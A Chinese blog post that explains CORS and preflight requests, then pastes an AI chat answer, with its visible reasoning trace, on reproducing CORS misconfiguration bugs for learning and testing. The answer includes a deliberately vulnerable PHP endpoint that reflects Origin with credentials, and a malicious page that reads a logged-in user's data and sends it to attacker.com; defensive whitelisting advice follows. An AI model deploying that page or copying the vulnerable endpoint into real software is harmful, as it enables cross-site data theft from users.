CORS的介绍和漏洞挖掘

CORS

如果浏览器支持HTML5,那么就可以一劳永逸地使用新的跨域策略:CORS了。

CORS全称Cross-Origin Resource Sharing,是HTML5规范定义的如何跨域访问资源。

了解CORS前,我们先搞明白概念:

Origin表示本域,也就是浏览器当前页面的域。当JavaScript向外域(如sina.com)发起请求后,浏览器收到响应后,首先检查Access-Control-Allow-Origin是否包含本域,如果是,则此次跨域请求成功,如果不是,则请求失败,JavaScript将无法获取到响应的任何数据。

用一个图来表示就是:
https://www.liaoxuefeng.com/files/attachments/1027024093709472/l

假设本域是my.com外域是sina.com,只要响应头Access-Control-Allow-Origin为http://my.com,或者是*,本次请求就可以成功。

可见,跨域能否成功,取决于对方服务器是否愿意给你设置一个正确的Access-Control-Allow-Origin,决定权始终在对方手中。

上面这种跨域请求,称之为“简单请求”。简单请求包括GET、HEAD和POST(POST的Content-Type类型 仅限application/x-www-form-urlencoded、multipart/form-data和text/plain),并且不能出现任何自定义头(例如,X-Custom: 12345),通常能满足90%的需求。

无论你是否需要用JavaScript通过CORS跨域请求资源,你都要了解CORS的原理。最新的浏览器全面支持HTML5。在引用外域资源时,除了JavaScript和CSS外,都要验证CORS。例如,当你引用了某个第三方CDN上的字体文件时:

/* CSS */
@font-face {
  font-family: 'FontAwesome';
  src: url('http://cdn.com/fonts/fontawesome.ttf') format('truetype');
}

如果该CDN服务商未正确设置Access-Control-Allow-Origin,那么浏览器无法加载字体资源。

对于PUT、DELETE以及其他类型如application/json的POST请求,在发送AJAX请求之前,浏览器会先发送一个OPTIONS请求(称为preflighted请求)到这个URL上,询问目标服务器是否接受:

OPTIONS /path/to/resource HTTP/1.1
Host: bar.com
Origin: http://my.com
Access-Control-Request-Method: POST

服务器必须响应并明确指出允许的Method:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://my.com
Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS
Access-Control-Max-Age: 86400

浏览器确认服务器响应的Access-Control-Allow-Methods头确实包含将要发送的AJAX请求的Method,才会继续发送AJAX,否则,抛出一个错误。

由于以POST、PUT方式传送JSON格式的数据在REST中很常见,所以要跨域正确处理POST和PUT请求,服务器端必须正确响应OPTIONS请求。

需要深入了解CORS的童鞋请移步W3C文档。
漏洞的挖掘可以移步:https://cloud.tencent.com/developer/article/1380045

<think>嗯,用户想复现CORS跨域资源共享漏洞进行安全测试或学习。这个问题涉及Web安全领域,需要结合漏洞原理实操步骤来解答。 用户可能是个安全研究员或渗透测试学习者,从"复现""渗透测试"等关键词能看出ta需要实操性指导。之前引用的资料里提到CORS漏洞常由错误配置引起,比如过度宽松的Access-Control-Allow-Origin设置,这点需要重点强调。 参考引用[4]特别指出不能仅凭Access-Control-Allow-Origin:*就判断漏洞存在,说明用户可能对漏洞判断存在误区。应该提醒ta注意凭证携带场景下的差异,比如配置为*时浏览器会拒绝带cookie的请求。 复现环境搭建是关键步骤。考虑分三层说明:后端漏洞配置(PHP/Node.js示例)、恶意页面构造、漏洞验证逻辑。引用[3]提到27.5%的网站存在CORS误配置,可以强调测试时关注Access-Control-Allow-Credentials头的重要性。 最后要补充防御建议,引用[5]提到很多人因图方便直接用默认配置导致漏洞,这点特别值得提醒开发人员。防御部分考虑区分开发人员安全测试者的不同关注点。 用户可能还会关心如何自动化检测,正好引用[3]提到开源工具,可以推荐CORS-Scanner之类的方案。不过当前问题聚焦复现,工具部分放在最后简要提及即可。 整个思考过程需确保:所有技术术语用中文,数学公式用$包裹,代码块单独标注,相关漏洞原理用行内公式如$HTTP$请求响应过程。最后按系统指令生成三个延伸问题,覆盖漏洞挖掘、修复实战场景。</think>以下是根据你的需求整理的CORS跨域漏洞复现步骤,结合渗透测试场景: --- ### **CORS漏洞复现步骤** #### **1. 搭建漏洞环境** **后端配置(PHP示例)** ```php <?php // 漏洞点:未校验Origin来源,直接反射请求头中的Origin值 header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']); header("Access-Control-Allow-Credentials: true"); // 允许携带凭证 // 模拟敏感数据接口 if(isset($_COOKIE['session'])) { echo json_encode(["user" => "admin", "email" => "admin@example.com"]); } ?> ``` #### **2. 构造恶意页面** ```html <!DOCTYPE html> <html> <body> <script> function exploit() { // 关键步骤:跨域请求目标站点(需诱导用户访问此页面) fetch('http://vuln-site.com/api/sensitive_data', { credentials: 'include' // 携带用户Cookie }) .then(response => response.json()) .then(data => { // 将窃取的数据发送到攻击者服务器 fetch('http://attacker.com/steal?data=' + JSON.stringify(data)); }); } exploit(); </script> </body> </html> ``` #### **3. 漏洞验证流程** - **触发条件**:用户登录`vuln-site.com`后访问恶意页面 - **攻击效果**: - 恶意脚本跨域读取`api/sensitive_data`接口的敏感数据 - 数据被发送至`attacker.com/steal`(攻击者服务器) #### **4. 关键漏洞配置分析** | **错误配置类型** | **风险示例** | |------------------------|---------------------------------------| | 动态反射Origin | `Access-Control-Allow-Origin: evil.com` | | 固定为`*`但需凭证 | `Access-Control-Allow-Origin: *` + `Allow-Credentials: true`[^4] | | 宽松的子域名匹配 | `Access-Control-Allow-Origin: *.example.com`(可被`x.example.evil.com`利用) | --- ### **渗透测试注意事项** 1. **凭证验证** - 仅当响应头包含`Access-Control-Allow-Credentials: true`时,浏览器才会发送Cookie[^2]。 - 若服务端配置`Access-Control-Allow-Origin: *`,浏览器将**拒绝携带凭证**的请求[^4]。 2. **Origin校验漏洞** - 漏洞核心:服务端未验证`Origin`头是否属于合法域名,直接反射回响应头[^5]。 - 测试方法:修改请求中的`Origin`头,观察响应是否动态反射该值。 3. **漏洞利用限制** - 需要诱导已认证用户访问恶意页面(类似CSRF攻击场景)[^2]。 - 敏感接口需存在未授权访问风险(如依赖Cookie认证)。 --- ### **防御方案** 1. **严格校验Origin白名单** ```php $allowed_origins = ["https://trusted.com"]; if (in_array($_SERVER['HTTP_ORIGIN'], $allowed_origins)) { header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']); } ``` 2. **避免动态反射Origin** 禁止未经验证的`Origin`值直接返回在响应头中[^3]。 3. **最小化凭证使用** 非必要场景不设置`Access-Control-Allow-Credentials: true`。 --- ### **自动化检测工具** - **CORS-Scanner**:扫描错误配置(如`*`+凭证、子域名通配符滥用)[^3] - **Burp Suite插件**:`CORS Scanner`模块可自动化探测反射型Origin漏洞 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值